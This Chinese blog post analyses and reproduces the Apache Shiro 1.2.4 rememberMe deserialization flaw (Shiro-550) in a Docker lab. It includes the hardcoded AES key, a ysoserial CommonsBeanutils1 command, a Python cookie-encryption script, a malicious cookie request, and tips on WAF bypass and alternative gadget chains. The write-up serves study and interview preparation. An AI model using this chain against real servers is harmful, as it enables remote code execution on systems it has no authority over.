WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

其它

关于博客

面试

杂谈

Shiro 550分析

这漏洞一看16年的,都过去8年了现在有面试还问,本来我是属于一把梭的选手但是也架不住老是问还是来看看代码

0x01 环境搭建

这里直接用docker来搭调试环境了用的是vulhub的CVE-2016-4437

先修改docker-compose.yml的内容

1
2
3
4
5
6
7
8
version: '2'
services:
web:
image: vulhub/shiro:1.2.4
ports:
- "8080:8080"
- "5005:5005"
command: java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -jar /shirodemo-1.0-SNAPSHOT.jar

开一个端口用来调试

然后把容器内的jar包复制出来

1
sudo docker cp CONTAINER:/shirodemo-1.0-SNAPSHOT.jar ./

解压后用IDEA打开,把lib下的jar包全部添加到库,然后配置下远程调试的环境就可以,详细的IDEA怎么配置可以看致远OA的文章

0x02 漏洞分析

加密流程

去shiro-core.jar找到代码

从控制器开始看吧,但是我估计有些地方也不能全部看懂,看不懂了解一下功能就好了,主要关注一下漏洞点

首先get一个subject对象

Subject 是表示单个应用程序用户的状态和安全操作。这些操作包括身份验证(登录/注销)、授权(访问控制)和会话的访问,这是复制来的,反正就就是管理用户的一个类

在控制器里面接收三个参数username password rememberme

然后equals对比字符串判断是否要记住登录状态

实例化UsernamePasswordToken,该类重载了多个构造方法,直接看最后一个就行

就是一些正常的参数,因为前面匹配到了所以this.rememberMe=true

然后直接到org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin()打断点

前面的也不看了最后会走到这里来

调用forgetIdentity清除记录,进去看看,因为forgetIdentity是抽象方法,在CookieRememberMeManager实现

从subject里面获取HttpServletRequest,HttpServletResponse,继续传到this.forgetIdentity

getCookie()获取Cookie对象,调用removeFrom方法,该方法在org.apache.shiro.web.servlet.SimpleCookie#removeFrom()

这里应该是配置返回包的

运行后之后发现

1
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Fri,

就是从这里看来的

最后走到addCookieHeader

1
2
3
4
5
6
7
8
private void addCookieHeader(HttpServletResponse response, String name, String value, String comment, String domain, String path, int maxAge, int version, boolean secure, boolean httpOnly) {
String headerValue = this.buildHeaderValue(name, value, comment, domain, path, maxAge, version, secure, httpOnly);
response.addHeader("Set-Cookie", headerValue);
if (log.isDebugEnabled()) {
log.debug("Added HttpServletResponse Cookie [{}]", headerValue);
}

}

这里就很明显的在返回包添加了cookie

再回到onSuccessfulLogin走到isRememberMe,这里就是判断RememberMe是否为true

判断成功走到rememberIdentity方法

principals这个对象不知道是啥,toString类后看到里面存着用户名

通过官方注释可以看出principal通常有以下类型:

  • 1)可以是uuid
  • 2)数据库中的主键
  • 3)LDAP UUID或静态DN
  • 4)在所有用户帐户中唯一的字符串用户名。

也就是说这个值必须是唯一的。也可以是邮箱、身份证等值。

上面的也是网上找的,差不多就是这个意思

然后走进this.getIdentityToRemember

1
2
3
4
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = this.convertPrincipalsToBytes(accountPrincipals);
this.rememberSerializedIdentity(subject, bytes);
}

就2行代码实在不想截图了

再走进convertPrincipalsToBytes

1
2
3
4
5
6
7
8
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = this.serialize(principals);
if (this.getCipherService() != null) {
bytes = this.encrypt(bytes);
}

return bytes;
}

这里面可以看到有一个序列化的方法

1
2
3
protected byte[] serialize(PrincipalCollection principals) {
return this.getSerializer().serialize(principals);
}

继续走

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public byte[] serialize(T o) throws SerializationException {
if (o == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
} else {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
BufferedOutputStream bos = new BufferedOutputStream(baos);

try {
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(o);
oos.close();
return baos.toByteArray();
} catch (IOException var6) {
String msg = "Unable to serialize object [" + o + "]. " + "In order for the DefaultSerializer to serialize this object, the [" + o.getClass().getName() + "] " + "class must implement java.io.Serializable.";
throw new SerializationException(msg, var6);
}
}

这里就是明显的writeObject序列化了,方法结束后获取byte数组的序列化值

-84,-19,0,5是经典的序列化文件的头了

再回到convertPrincipalsToBytes

1
2
3
4
5
6
7
8
9
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = this.serialize(principals);
//this.getCipherService()就当获取加密方式了
if (this.getCipherService() != null) {
bytes = this.encrypt(bytes);
}

return bytes;
}

走到encrypt看

1
2
3
4
5
6
7
8
9
10
11
12
protected byte[] encrypt(byte[] serialized) {
byte[] value = serialized;
CipherService cipherService = this.getCipherService();
if (cipherService != null) {
//加密serialized,this.getEncryptionCipherKey()是Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")
ByteSource byteSource = cipherService.encrypt(serialized, this.getEncryptionCipherKey());
//加密后的数据转为byte数组
value = byteSource.getBytes();
}

return value;
}

然后一直返回到

走进this.rememberSerializedIdentity()看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
//走进上面的肯定是有点异常了,所以看else
if (!WebUtils.isHttp(subject)) {
if (log.isDebugEnabled()) {
String msg = "Subject argument is not an HTTP-aware instance. This is required to obtain a servlet request and response in order to set the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
log.debug(msg);
}

} else {
HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);
//base64编码被AES加密的序列化内容
String base64 = Base64.encodeToString(serialized);
//获取Cookie对象
Cookie template = this.getCookie();
//实例化新的Cookie对象,但是里面内容都是template里面的,因为SimpleCookie(template)的构造方法就是把template的值都取出然后赋值到本身
Cookie cookie = new SimpleCookie(template);
//设置新的值
cookie.setValue(base64);
//saveTo的内容和上面的removeFrom一样,就是把base64编码后的值放到rememberMe去
cookie.saveTo(request, response);
}
}

解密流程

这次把断点打在org.apache.shiro.mgt.AbstractRememberMeManage#getRememberedPrincipals()

走进this.getRememberedSerializedIdentity()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a servlet request and response in order to retrieve the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
log.debug(msg);
}

return null;
} else {
WebSubjectContext wsc = (WebSubjectContext)subjectContext;
if (this.isIdentityRemoved(wsc)) {
return null;
} else {
//上面都不用看
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
//readValue读到rememberMe内的值
String base64 = this.getCookie().readValue(request, response);
//如果值为deleteMe则返回
if ("deleteMe".equals(base64)) {
return null;
//base64不为null则往下走
} else if (base64 != null) {
//这是为了保证base64不出错算base64字符是否能整除4,如果不行则在后面加一个=
base64 = this.ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
//解码base64字符
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
//返回byte数组
return decoded;
} else {
return null;
}
}
}
}

走回getRememberedPrincipals,byte数组有值,走进convertBytesToPrincipals()

1
2
3
4
5
6
7
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (this.getCipherService() != null) {
bytes = this.decrypt(bytes);
}

return this.deserialize(bytes);
}

解密后的字符进行反序列化

1
2
3
protected PrincipalCollection deserialize(byte[] serializedIdentity) {
return (PrincipalCollection)this.getSerializer().deserialize(serializedIdentity);
}

继续走deserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
} else {
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);

try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
T deserialized = ois.readObject();
ois.close();
return deserialized;
} catch (Exception var6) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, var6);
}
}
}
}

里面的readObject()触发反序列化

解密流程基本就是这样了

0x03 漏洞利用

其实这个docker是一个非常理想的环境里面有Commons-Collentions 3.2.1和Commons-Beanutils 1.9.2

完美符合ysoserial里面的CB1链

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "calc" > ser.bin

密码学不是特别好,也不分析加密流程了直接网上拿了一个加解密的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import base64
import uuid
from random import Random
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename,'rb') as f:
data = f.read()
return data
def aes_enc(data):
BS = AES.block_size
pad = lambda s:s +((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key),mode,iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext

def aes_dec(enc_data):
enc_data = base64.b64encode(enc_data)
unpad = lambda s : s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key),mode,iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext

if __name__ == '__main__':
data = get_file_data("ser.bin")
print(aes_enc(data))

加密后的base64直接在Cookie利用就行了

1
2
3
4
5
6
7
8
9
GET /doLogin HTTP/1.1
Host: 192.168.91.128:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: rememberMe=6aAJcGU2Se+F62aWEHyXIUfdLjfiSHJmzprHLhLFIDtYknYhzEY5lN+54H6zuF/CR6ioFDbagWCg6Tz1P0AEuaTgkYaSlt44Gdw2bIjJDXS84Fju3Vl66KIat+C7SUk1IKb6zkgkegh7P3zABzVAzhGdhDsQkWf2R+t4c+eG27nVvvH15iL8x07iX6kXpHzQQ130BWR0pTkB4ZeE9Q/8w8caPpAKdP9ubGXbFkSDfcxiPT6lGQWIFvc0UpfGTaHdbhsPyRgYVCe+Dhz9u0md570nzUPT2m/ISaTowB9LXWshH4qMzjIKfYYqT0J1U8ivMuLa7Rw26rpZpu0qdcXueRV0asFrEnLW7FeLUAcgQS+19jyz5YHuW/+pi8iv2i+ByibphpEVJQ+6E1bh5q14/Wl25Wmk3eyGri83/TwFEd2syQ7fjSzie9JZ52ORbC8Qi6HiylpYOsn0FgHN3+KxGNHxbGXdu8LDAANlvBFPd63zCK4ez7fecJuVvun9hkkVmbtaVzkBqlwBF3FabcjwN6p3VzH3Dccv7BW8mEm8rTz0eAo5VG8ZBusXotGjsEaQ4zu4SoA8K5uT0C8QLhEtNPeUVtMiIlggac2U0TdJaxTaB+PLMuFe4QUz7mp3zdWyeyOdGQYZ97UtfW/hh/VnZl1iIhefS3H2oMB6uYy9kG94MmoTfRXy9WLVyVIuFgU1dF+sfNxLNa17uAwaJ/09ilYLGsRbFzygRvzVhkcUhaoYvaHJyaJ7NTfyy70F7ESt6gz8ofbEPPeiIhncfxmWhtMRAY6V8uuAyCv5D0/s7bTNgdKZf3v2NOcapnCYzaa+XUdZCCX5OLNBCnwrQsvYACe1jZxM9PVDD8ghBo1kp+tBtux1GPXFKQKiwqCW4c/LdWMW6Fgw8NiN57GWp7H7gwO4j9iDChG7mvaCKMRWDtGzqCGDbxM6UOcmS0tv/pyOJ1/w5Gv4FzZgoR/DLfx1b6JhQPfl6Wsmma9fdm9EkMqiH0SkCtJ1RxeBi4asK6QgGQ5b+NSscc2odsngLgwnASVarX2PDZpHnQqzVE3AwV32ntDWHlqCA9ta20hy4mqsOY/mMP6ZSX1EjmL6aXREEqImmAWM/leNemeVB8hsZyEfLPGytKNG0nO81gfaT6anqhxOJB6lHsJgDx7MROyCp3RlA8pVJQjLQx3REJOz7oLPHSWxBqHIZ3xpo4AwuTmRn2DjZwz+Kgmmt2d0ZTFbUH9VcRTFk94yQ8SO1oW1Fl/StRw80KkIgkniEd0NzuTeFgqSrTB6FPfymgz7lEGzMpACNDkUxD8XrdjQUC7BGYg3LL+tnBdx//+xIp2G71GFcx5pXRVzV+iEc0vc8HYqCBa1j2gv8WoLOM6iuHF8WJJQ/cKKLrIEKz+gm5BfbN/xhTvL+d4CG9e57n1z6XodC2xQoc3GS9oYBig8+Q30BZhZjd1UsfztBg1vrNAFRVGdjrL/MH7auBYkvfa7NPTBwmeiEnqUstnTs/IzTzO6uY+ws5EqMTbAHiNuPNpiPkO2Aol9dEkBSFjl0D5GYazDdJ5ghqEFE+qkurbrAMf6dpuxYiEbbQyUW07I/JMrBx1qTTR16OmJgID+iQ6iZmlV3T1MiMOeP/2YdMzbI4qZX+ByS6J6oqq0hmVnKaxm5K0B/ihi1MTOQJ+QPeYKtucVVOlt//JMcRJSFhVLH4dOhUwcAw148/dpf7no26cap6M2ZfDDEfJ9eM2hYlUxhyUG7g==
Upgrade-Insecure-Requests: 1

其实网上有些文章说过shiro不能加载非java自身的数组,比如在CC6中使用到的Transformer[],会出现找不到的情况,但是在这个环境中不存在这个问题

直接拉shiro1.2.4的环境来复现,的确出现了这个问题,暂时还不清楚情况,可能和tomcat和springboot的ClassLoader有关,这里先不找原因了。

后续会写文章来详细讲利用链的问题

0x04 总结

利用流程就是反序列化文件->AES->base64然后在Cookie的参数里进行攻击

再回到最上面说的,面试中老问的,Shiro有key无链的怎么办

  1. 不一定是有key无链,有可能只是waf拦截,可以先抓包查看返回包,如果是waf拦截可以使用!@#$%^等base64中不存在的符号,在java的base64解码里会自动去除不是base64中应该出现的符号
  2. Shiro自带cb链,但是需要注意2点
    • shiro自带的是Commons-Beauntils1.8.3,所以ysoserial不能直接打,原因是ysoserial里面的Commons-Beauntils是1.9.2
    • ysoserial里面的CommonsBeanutils1需要Commons-Collentions配合,然而Commons-Collentions是不自带的,所以需要修改,修改后的CB链之后再写文章分析
  3. 之前提到过CC6因为存在非java自身的数组所以在某些情况可能用不了,但是不代表CC6就是不能用的,可以通过TemplatesImpl包裹的方式进行利用
  4. 最后实在没有办法了可以尝试jdk7u21,jdk8u20,jrmp这种不需要依赖的链

总体来说我复现后得到的结论就是这些,可能还有好的办法但是没有找到,不过这应该算一个合格的答案

0x05 参考